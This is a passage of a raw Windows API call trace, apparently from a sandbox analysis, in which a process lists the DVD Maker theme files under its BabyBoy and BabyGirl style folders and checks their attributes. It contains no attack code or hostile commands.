(HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cf88 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0b688 [0066.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.963] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cfa8 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0b790 [0066.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.963] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cfc8 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0b898 [0066.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.964] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cfe8 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0b9a0 [0066.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.964] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d008 [0066.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0baa8 [0066.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.964] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d028 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0bbb0 [0066.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.965] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d048 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0bcb8 [0066.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.965] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d068 [0066.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0bdc0 [0066.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.966] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0066.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d088 [0066.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0bec8 [0066.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xbc0) returned 0x9fa458 [0066.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0d530) returned 1 [0066.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.966] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0066.966] GetLastError () returned 0x12 [0066.966] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0066.966] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0066.966] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0066.967] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0066.967] GetLastError () returned 0x12 [0066.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0066.967] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0066.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0066.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.968] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0066.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.968] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0066.969] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0066.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa0d530 [0066.969] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa0d530, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa0d530, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0066.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0d530) returned 1 [0066.969] NtClose (Handle=0x124) returned 0x0 [0066.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0066.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.969] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 